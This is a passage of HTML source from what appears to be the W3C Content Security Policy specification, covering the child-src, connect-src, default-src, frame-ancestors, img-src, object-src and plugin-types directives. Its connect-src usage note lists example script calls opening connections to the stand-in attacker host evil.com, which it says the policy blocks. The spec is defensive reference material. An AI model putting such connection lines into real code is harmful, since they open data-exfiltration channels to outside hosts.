syntax for the name and\n        value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>directive-name    = \"child-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-child-sources\">allowed child sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>child-src</code>\n        directive's value as a source list</a> if a <code>child-src</code>\n        directive is explicitly specified, and otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <section id=\"nested-browsing-contexts\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_nested-browsing-contexts\"><span class=\"secno\">3.2.5.2.1 </span>Nested Browsing Contexts</h6>\n          <p>To enforce the <code>child-src</code> directive the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>\n          enforce the following directives:</p>\n\n          <ul>\n            <li><a href=\"#frame-src\"><code>frame-src</code></a></li>\n          </ul>\n        </section>\n\n        <section id=\"auxiliary-browsing-contexts\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_auxiliary-browsing-contexts\"><span class=\"secno\">3.2.5.2.2 </span>Auxiliary Browsing Contexts</h6>\n          <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n          a URL (including when following redirects) in the course of one of the\n          following activities, if the URL does not <a href=\"#matches-a-source-list\">match</a>\n          the <a href=\"#dfn-allowed-child-sources\">allowed child sources</a>, the\n          user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n          <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n          <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n\n          <ul>\n            <li>Requesting data for display in an <a href=\"#dfn-auxiliary-browsing-context\">auxiliary browsing context</a>\n            whose <a href=\"#dfn-opener-browsing-context\">opener browsing context</a>\n            is the protected resource (for example, a popup window created by a\n            call to <code>window.open</code>).</li>\n\n            <li><a href=\"http://www.w3.org/TR/html5/browsers.html#navigate\">Navigating</a>\n            such an <a href=\"#dfn-auxiliary-browsing-context\">auxiliary browsing context</a>.</li>\n          </ul>\n        </section>\n\n        <section id=\"workers\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_workers\"><span class=\"secno\">3.2.5.2.3 </span>Workers</h6>\n\n          <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n          a URL (including when following redirects) while processing the <code>Worker</code>\n          or <code>SharedWorker</code> constructors [<cite><a class=\"bibref\" href=\"#bib-WEBWORKERS\">WEBWORKERS</a></cite>], the user\n          agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n          <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n          <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>\n          if the URI does not <a href=\"#matches-a-source-list\">match</a>\n          the <a href=\"#dfn-allowed-child-sources\">allowed child sources</a>.</p>\n        </section>\n      </section>\n\n      <section id=\"connect-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_connect-src\"><span class=\"secno\">3.2.5.3 </span><code>connect-src</code></h5>\n\n        <p>The <code>connect-src</code> directive restricts which URIs the\n        protected resource can load using script interfaces. The syntax for\n        the name and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>directive-name    = \"connect-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-connection-targets\">allowed connection targets</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>connect-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>connect-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the\n        <a href=\"#dfn-allowed-connection-targets\">allowed connection targets</a>,\n        the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Processing the <a href=\"http://www.w3.org/TR/XMLHttpRequest/#the-send()-method\"><code>send()</code>\n          method</a> of an <code>XMLHttpRequest</code> object.</li>\n\n          <li>Processing the <a href=\"http://dev.w3.org/html5/websockets/#websocket\"><code>WebSocket</code>\n          constructor</a>.</li>\n\n          <li>Processing the <a href=\"http://dev.w3.org/html5/eventsource/#eventsource\"><code>EventSource</code>\n          constructor</a>.</li>\n        </ul>\n        <section class=\"informative\" id=\"usage\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_usage\"><span class=\"secno\">3.2.5.3.1 </span>Usage</h6><p><em>This section is non-normative.</em></p>\n\n          <p>JavaScript offers a few mechanisms that directly connect to an\n          external server to send or receive information.\n          <code>EventSource</code> maintains an open HTTP connection to a server\n          in order to receive push notifications, <code>WebSockets</code>\n          open a bidirectional communication channel between your browser and a\n          server, and <code>XMLHttpRequest</code> makes arbitrary HTTP requests\n          on your behalf. These are powerful APIs that enable useful\n          functionality, but also provide tempting avenues for data\n          exfiltration.\n          \n          </p><p>The <code>connect-src</code> directive allows you to ensure that\n          these sorts of connections are only opened to origins you trust.\n          Sending a policy that defines a list of source expressions for this\n          directive is straightforward. For example, to limit connections to\n          only <code>example.com</code>, send the following header:</p>\n\n          <pre>Content-Security-Policy: connect-src example.com</pre>\n\n          <p>All of the following will fail with the preceeding directive in\n          place:</p>\n          <ul>\n            <li><code>new WebSocket(\"wss://evil.com/\");</code></li>\n            <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code></li>\n            <li><code>new EventSource(\"https://evil.com\");</code></li>\n          </ul>\n        </section>\n      </section>\n      <section id=\"default-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_default-src\"><span class=\"secno\">3.2.5.4 </span><code>default-src</code></h5>\n\n        <p>The <code>default-src</code> directive sets a default source list\n        for a number of directives. The syntax for the name and value of the\n        directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"default-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>Let the <dfn id=\"dfn-default-sources\">default sources</dfn> be the result of <a href=\"#parse-a-source-list\">parsing the <code>default-src</code>\n        directive's value as a source list</a> if a <code>default-src</code>\n        directive is explicitly specified, and otherwise the U+002A ASTERISK\n        character (*).</p>\n\n        <p>To enforce the <code>default-src</code> directive, the user agent\n        <em class=\"rfc2119\" title=\"MUST\">MUST</em> enforce the following directives:</p>\n        <ul>\n          <li><a href=\"#child-src\"><code>child-src</code></a></li>\n          <li><a href=\"#connect-src\"><code>connect-src</code></a></li>\n          <li><a href=\"#font-src\"><code>font-src</code></a></li>\n          <li><a href=\"#img-src\"><code>img-src</code></a></li>\n          <li><a href=\"#media-src\"><code>media-src</code></a></li>\n          <li><a href=\"#object-src\"><code>object-src</code></a></li>\n          <li><a href=\"#script-src\"><code>script-src</code></a></li>\n          <li><a href=\"#style-src\"><code>style-src</code></a></li>\n        </ul>\n\n        <p>If not specified explicitly in the policy, the directives listed\n        above will use the <a href=\"#dfn-default-sources\">default sources</a>.</p>\n        <section class=\"informative\" id=\"usage-1\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_usage-1\"><span class=\"secno\">3.2.5.4.1 </span>Usage</h6><p><em>This section is non-normative.</em></p>\n          <p><code>default-src</code>, as the name implies, serves as a default\n          source list which the other source list-style directives will use as\n          a fallback if they're not otherwise explicitly set. That is, consider\n          the following policy declaration:</p>\n\n          <pre>Content-Security-Policy: default-src 'self'</pre>\n\n          <p>Under this policy, fonts, frames, images, media, objects, scripts,\n          and styles will all only load from the same origin as the protected\n          resource, and connections will only be made to the same origin. Adding\n          a more specific declaration to the policy would completely override\n          the default source list for that resource type.</p>\n\n          <pre>Content-Security-Policy: default-src 'self'; script-src example.com</pre>\n\n          <p>Under this new policy, fonts, frames, and etc. continue to be load\n          from the same origin, but scripts will <em>only</em> load from\n          <code>example.com</code>. There's no inheritance; the\n          <code>script-src</code> directive sets the allowed sources of script,\n          and the default list is not used for that resource type.</p>\n\n          <p>Given this behavior, one good way of building a policy for a site\n          would be to begin with a <code>default-src</code> of\n          <code>'none'</code>, and to build up a policy from there that contains\n          only those resource types which are actually in use for the page you'd\n          like to protect. If you don't use webfonts, for instance, there's no\n          reason to specify a source list for <code>font-src</code>; specifying\n          only those resource types a page uses ensures that the possible attack\n          surface for that page remains as small as possible.</p>\n        </section>\n      </section>\n\n      <section id=\"font-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_font-src\"><span class=\"secno\">3.2.5.5 </span><code>font-src</code></h5>\n\n        <p>The <code>font-src</code> directive restricts from where the\n        protected resource can load fonts. The syntax for the name and value\n        of the directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"font-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-font-sources\">allowed font sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>font-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>font-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the <a href=\"#dfn-allowed-font-sources\">allowed font\n        sources</a>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Requesting data for display in a font, such as when processing\n          the <code>@font-face</code> Cascading Style Sheets (CSS) rule.</li>\n        </ul>\n      </section>\n\n      <section id=\"form-action\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_form-action\"><span class=\"secno\">3.2.5.6 </span><code>form-action</code></h5>\n\n        <p>The <code>form-action</code> restricts which URIs can be used as the\n        action of HTML <code>form</code> elements.  The syntax for the name and\n        value of the directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"form-action\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-form-actions\">allowed form actions</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>form-action</code>\n        directive's value as a source list</a>.</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the <a href=\"#dfn-allowed-form-actions\">allowed form\n        actions</a>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Processing an HTML <code>form</code> element.\n        </li></ul>\n        <p>Note that <code>form-action</code> does not fall back to the default\n        source list when the directive is not defined. That is, a policy that\n        defines <code>default-src 'none'</code> but not\n        <code>form-action</code> will still allow form submissions to any\n        target.</p>\n      </section>\n        \n      <section id=\"frame-ancestors\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_frame-ancestors\"><span class=\"secno\">3.2.5.7 </span><code>frame-ancestors</code></h5>\n\n        <p>The <code>frame-ancestors</code> directive indicates whether the user agent\n        should allow embedding the resource using a <code>frame</code>, <code>iframe</code>,\n        <code>object</code>, <code>embed</code> or <code>applet</code> tag, or equivalent\n        functionality in non-HTML resources.  Resources can use this directive to avoid\n        many UI Redressing [<cite><a class=\"bibref\" href=\"#bib-UIREDRESS\">UIREDRESS</a></cite>] attacks by avoiding being embedded into potentially\n        hostile contexts. </p>\n\n        <p>The syntax for the name and value of the directive are described by the\n        following ABNF grammar:</p>\n\n        <pre>directive-name  = \"frame-ancestors\"\ndirective-value = source-list\n        </pre>\n\n        <p>The term <dfn id=\"dfn-allowed-frame-ancestors\">allowed frame ancestors</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>frame-ancestors</code>\n        directive's value as a source list</a>. Note that this directive is not\n        influenced by the <a href=\"#dfn-default-sources\">default sources</a>. If\n        a <code>frame-ancestors</code> directive is not explicitly included in\n        the policy, the <a href=\"#dfn-allowed-frame-ancestors\">allowed frame\n        ancestors</a> is \"<code>*</code>\".</p>\n\n        <p>To enforce the <code>frame-ancestors</code> directive, whenever the\n        user agent would load the protected resource into a\n        <a href=\"#dfn-nested-browsing-context\">nested browsing context</a>, the\n        user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> perform the following steps:</p>\n\n        <ol>\n          <li>Let <var>nestedContext</var> be the nested browsing context into\n          which the protected resource is being loaded.</li>\n          <li>Let <var>ancestorList</var> be the list of all\n          <a href=\"http://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context\">ancestor browsing contexts</a>\n          of <var>nestedContext</var>.</li>\n          <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n            <ol>\n              <li>Let <var>document</var> be <var>ancestorContext</var>'s\n              <a href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a>.</li>\n              <li>If <var>document</var>'s URL does not <a href=\"#matches-a-source-list\">match</a>\n              the <a href=\"#dfn-allowed-frame-ancestors\">allowed frame ancestors</a>,\n              the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>:\n                <ol>\n                  <li>Abort loading the protected resource.</li>\n                  <li>Act as if it received an empty\n                  <a href=\"https://tools.ietf.org/html/rfc2616#section-10.2.1\">HTTP 200 response</a>.</li>\n                  <li><a href=\"http://www.whatwg.org/specs/web-apps/current-work/#parse-a-sandboxing-directive\">Parse the sandboxing directive</a>\n                  using the empty string as the <em>input</em> and the newly\n                  created document's <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n                  as the <em>output</em>.</li>\n                </ol>\n              </li>\n            </ol>\n          </li>\n        </ol>\n\n        <p>Steps 2.2 and 2.3 ensure that the blocked frame appears to be a\n        normal cross-origin document's load. If these steps are ignored,\n        leakage of a document's policy state is possible. The user agent <em class=\"rfc2119\" title=\"MAY\">MAY</em>\n        implement these steps by instead redirecting the user to friendly\n        error page in a unique origin which provides the option of opening\n        the blocked page in a new top-level browsing context.</p>\n\n        <p>Note that the <code>frame-ancestors</code> directive will be ignored when\n        <a href=\"#monitor\">monitoring</a> a policy, and when a contained in a\n        policy defined via a <a href=\"#html-meta-element\"><code>meta</code>\n        element</a>.</p>\n\n        <p>Note that this directive is similar to the non-standard\n        <code>X-Frame-Options</code> header that several user agents\n        have implemented. The <code>'none'</code> source expression\n        is roughly equivilant to that header's <code>DENY</code>,\n        <code>'self'</code> to <code>SAMEORIGIN</code>, and so on.\n        The major difference is that many user agents implement\n        <code>SAMEORIGIN</code> such that it only matches against\n        the top-level document's location. This directive checks\n        each ancestor. If any ancestor doesn't match, the load\n        is cancelled.</p>\n\n        <p>When generating a violation report for a <code>frame-ancestors</code> violation,\n        the user agent <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em> include the value of the embedding ancestor as a\n        <code>blocked-uri</code> value unless it is same-origin with the protected resource,\n        as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.\n        </p>\n\n        <section id=\"multiple-host-source-values\" class=\"informative\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_multiple-host-source-values\"><span class=\"secno\">3.2.5.7.1 </span>Multiple Host Source Values</h6><p><em>This section is non-normative.</em></p>\n\n          <p>Multiple source-list espressions are allowed in a single policy (in contrast\n          to <code>X-Frame-Options</code>, which allows only one) to enable\n          scenarios involving embedded application compoments that are multiple levels\n          below the top-level browsing context.</p>\n\n          <p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n          sharing or social apps) involve potentially many hundreds or thousands of\n          valid <code>source-list</code> expressions, but it is strongly recommended against\n          accomodating such scenarios with a static <code>frame-ancestors</code> directive\n          listing mulitple values. In such cases it is beneficial to generate this value\n          dynamically, based on an HTTP Referer header or an explicitly passed-in value,\n          to allow only the source(s) necessary for each given embedding of the resource.</p>\n\n          <p>Consider a service providing a payments application at\n          <code>https://payments/makeEmbedded</code>.  The service allows this resource\n          to be embedded by both merchant Alice and merchant Bob, who compete with each\n          other.  Sending:</p>\n\n<pre>Content-Security-Policy: frame-options https://alice https://bob\n</pre>\n\n          <p>would allow Bob to re-frame Alice's resource and create fradulent clicks,\n          perhaps discrediting Alice with her customers or the payments service.  If the\n          payments service used additional information (e.g. as part of a URL like\n          <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n          individually-tailored headers listing only the source-list expressions\n          needed by each merchant, this attack would be eliminated.</p>\n        </section>\n      </section>\n\n      <section id=\"frame-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_frame-src\"><span class=\"secno\">3.2.5.8 </span><code>frame-src</code></h5>\n\n        <p>The <code>frame-src</code> directive is <em>deprecated</em>.\n        Authors who wish to govern nested browsing contexts <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> use the\n        <code>child-src</code> directive instead.</p>\n\n        <p>The <code>frame-src</code> directive restricts from where the\n        protected resource can embed frames. The syntax for the name\n        and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>directive-name    = \"frame-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-frame-sources\">allowed frame sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>frame-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>frame-src</code>, or otherwise to the list of\n        <a href=\"#dfn-allowed-child-sources\">allowed child sources</a>.</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a>\n        the <a href=\"#dfn-allowed-frame-sources\">allowed frame sources</a>, the\n        user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Requesting data for display in a <a href=\"#dfn-nested-browsing-context\">nested browsing context</a> in the\n          protected resource created by an <code>iframe</code> or\n          a <code>frame</code> element.</li>\n\n          <li><a href=\"http://www.w3.org/TR/html5/browsers.html#navigate\">Navigating</a>\n          such a <a href=\"#dfn-nested-browsing-context\">nested browsing context</a>.</li>\n        </ul>\n      </section>\n\n      <section id=\"img-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_img-src\"><span class=\"secno\">3.2.5.9 </span><code>img-src</code></h5>\n\n        <p>The <code>img-src</code> directive restricts from where the\n        protected resource can load images. The syntax for the name and value\n        of the directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"img-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-image-sources\">allowed image sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>img-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>img-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the <a href=\"#dfn-allowed-image-sources\">allowed image\n        sources</a>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Requesting data for an image, such as when processing the\n          <code>src</code> or <code>srcset</code> attributes of an <code>img</code> element,\n          the <code>src</code> attribute of an <code>input</code> element with a type of <code>image</code>,\n          the <code>poster</code> attribute of a <code>video</code> element,\n          the <code>url()</code>, <code>image()</code> or <code>image-set()</code> values on any\n          Cascading Style Sheets (CSS)\n          property that is capable of loading an image [<em><a href=\"http://www.w3.org/TR/css3-images/\">CSS3-Images</a></em>], or\n          the <code>href</code> attribute of a <code>link</code> element with\n          an image-related <code>rel</code> attribute, such as\n          <code>icon</code>.</li>\n        </ul>\n      </section>\n\n\n      <section id=\"media-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_media-src\"><span class=\"secno\">3.2.5.10 </span><code>media-src</code></h5>\n\n        <p>The <code>media-src</code> directive restricts from where the\n        protected resource can load video, audio, and associated text tracks.\n        The syntax for the name and value of the directive are described by the\n        following ABNF grammar:</p>\n\n<pre>directive-name    = \"media-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-media-sources\">allowed media sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>media-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>media-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the <a href=\"#dfn-allowed-media-sources\">allowed media\n        sources</a>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>:</p>\n        <ul>\n          <li>Requesting data for a video or audio clip, such as when\n          processing the <code>src</code> attribute of a <code>video</code>,\n          <code>audio</code>, <code>source</code>, or <code>track</code>\n          elements.</li>\n        </ul>\n      </section>\n      <section id=\"object-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_object-src\"><span class=\"secno\">3.2.5.11 </span><code>object-src</code></h5>\n\n        <p>The <code>object-src</code> directive restricts from where the\n        protected resource can load plugins. The syntax for the name and value\n        of the directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"object-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-object-sources\">allowed object sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>object-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>object-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.\n\n        </p><p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a>\n        the <a href=\"#dfn-allowed-object-sources\">allowed object sources</a>,\n        the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Requesting data for a plugin, such as when processing the\n          <code>data</code> attribute of an <code>object</code> element, the\n          <code>src</code> attribute of an <code>embed</code> elements, or the\n          <code>code</code> or <code>archive</code> attributes of an\n          <code>applet</code> element.</li>\n\n          <li>Requesting data for display in a\n          <a href=\"#dfn-nested-browsing-context\">nested browsing context</a>\n          in the protected resource created by an <code>object</code> or an\n          <code>embed</code> element.</li>\n\n          <li>Navigating such a <a href=\"#dfn-nested-browsing-context\">nested browsing context</a>.</li>\n        </ul>\n\n        <p>It is not required that the consumer of the element's data be a\n        plugin in order for the <code>object-src</code> directive to be\n        enforced.  Data for any <code>object</code>, <code>embed</code>,\n        or <code>applet</code> element <em class=\"rfc2119\" title=\"MUST\">MUST</em> match the <a href=\"#dfn-allowed-object-sources\">allowed object sources</a> in order\n        to be fetched.  This is true even when the\n        element data is semantically equivalent to content which would otherwise\n        be restricted by one of the other <a href=\"#directives\">directives</a>,\n        such as an <code>object</code> element with a <code>text/html</code>\n        MIME type.</p>\n\n        <p>Whenever the user agent would load a plugin without an associated\n        URI (e.g., because the <code>object</code> element lacked a\n        <code>data</code> attribute), if the protected resource's URI does not\n        <a href=\"#matches-a-source-list\">match</a> the\n        <a href=\"#dfn-allowed-object-sources\">allowed object sources</a>, the\n        user agent <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em> load the plugin.</p>\n      </section>\n\n      <section id=\"plugin-types\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_plugin-types\"><span class=\"secno\">3.2.5.12 </span><code>plugin-types</code></h5>\n\n        <p>The <code>plugin-types</code> restricts the set of plugins that can\n        be invoked by the protected resource by limiting the types of resources\n        that can be embedded.  The syntax for the name and value of the\n        directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-plugin-media-types\">allowed plugin media types</dfn> refers to the result of\n        <a href=\"#parse-a-media-type-list\">parsing the <code>plugin-types</code>\n        directive's value as a media type list</a></p>\n\n        <p>Whenever the user agent would instantiate a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#plugin\">plugin</a>\n        to handle <var>resource</var> while enforcing the\n        <code>plugin-types</code> directive, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> instead act as\n        though the plugin reported an error <em>and</em>\n        <a href=\"#dfn-report-a-violation\">report a violation</a> if any of\n        the following conditions hold:</p>\n\n        <ul>\n            <li>The plugin is embedded into the protected resource via an\n            <code>object</code> or <code>embed</code> element that does not\n            explicitly declare a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#mime-type\">MIME type</a>\n            with a <code>type</code> attribute.</li>\n\n            <li><var>resource</var>'s media type does not <a href=\"#dfn-matches-a-media-type-list\">match</a> the list of <a href=\"#dfn-allowed-plugin-media-types\">allowed plugin media\n            types</a>.</li>\n\n            <li>The plugin is embedded into the protected resource via an\n            <code>object</code> or <code>embed</code> element, and the media\n            type declared in the element's <code>type</code> attribute is not\n            a case-insensitive match for the <var>resource</var>'s media\n            type.</li>\n\n            <li>The plugin is embedded into the protected resource via an\n            <code>applet</code> element, and <var>resource</var>'s media type\n            is not a case-insensitive match for\n            <code>application/x-java-applet</code>.</li>\n        </ul>\n\n        <p>Note that in any of these cases, acting as though the plugin reported an error\n        will cause the user agent to display the <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#fallback-content\">fallback\n        content</a>.</p>\n\n        <p>Whenever the user agent creates a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#plugin-document\">plugin\n        document</a> in a browsing context nested in the protected resource,\n        if the user agent is enforcing any <code>plugin-types</code>\n        directives for the protected resource, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#enforce\">enforce</a> those <code>plugin-types</code>\n        directives on the plugin document as well.</p>\n\n        <p>Whenever the user agent creates a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#plugin-document\">plugin\n        document</a> in a browsing context nested in the protected resource,\n        if the user agent is monitoring any <code>plugin-types</code>\n        directives for the protected resource, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#monitor\">monitor</a> those <code>plugin-types</code>\n        directives on the plugin document as well.</p>\n\n        <section class=\"informative\" id=\"usage-2\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_usage-2\"><span class=\"secno\">3.2.5.12.1 </span>Usage</h6><p><em>This section is non-normative.</em></p>\n          <p>The <code>plugin-types</code> directive whitelists a certain set\n          of MIME types that can be embedded in a protected resource. For\n          example, a site might want to ensure that PDF content loads, but that\n          no other plugins can be instantiated. The following directive would\n          satisfy that requirement:</p>\n          <pre>Content-Security-Policy: plugin-types application/pdf;</pre>\n          <p>Resources embedded via an <code>embed</code> or <code>object</code>\n          element delivered with an <code>application/pdf</code> content type\n          would be rendered in the appropriate plugin; resources delivered with\n          some other content type would be blocked. Multiple types can be\n          specified, in any order. If the site decided to additionally allow\n          Flash at some point in the future, it could do so with the following\n          directive:</p>\n          <pre>Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash;</pre>\n          <p>Note that wildcards are not accepted in the\n          <code>plugin-types</code> directive. Only the resource types\n          explicitly listed in the directive will be allowed.</p>\n      </section>\n      <section class=\"informative\" id=\"predeclaration-of-expected-media-types\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_predeclaration-of-expected-media-types\"><span class=\"secno\">3.2.5.12.2 </span>Predeclaration of expected media types</h6><p><em>This section is non-normative.</em></p>\n          <p>Enforcing the <code>plugin-types</code> directive requires that\n          <code>object</code> and <code>embed</code> elements declare the\n          expected media type of the resource they include via the\n          <code>type</code> attribute. If an author expects to load a PDF, she\n          could specify this as follows:</p>\n          <pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\"&gt;&lt;/object&gt;</pre>\n          <p>If <var>resource</var> isn't actually a PDF file, it won't\n          load. This prevents certain types of attacks that rely on serving\n          content that unexpectedly invokes a plugin other than that which the\n          author intended.</p>\n          <p>Note that <var>resource</var> 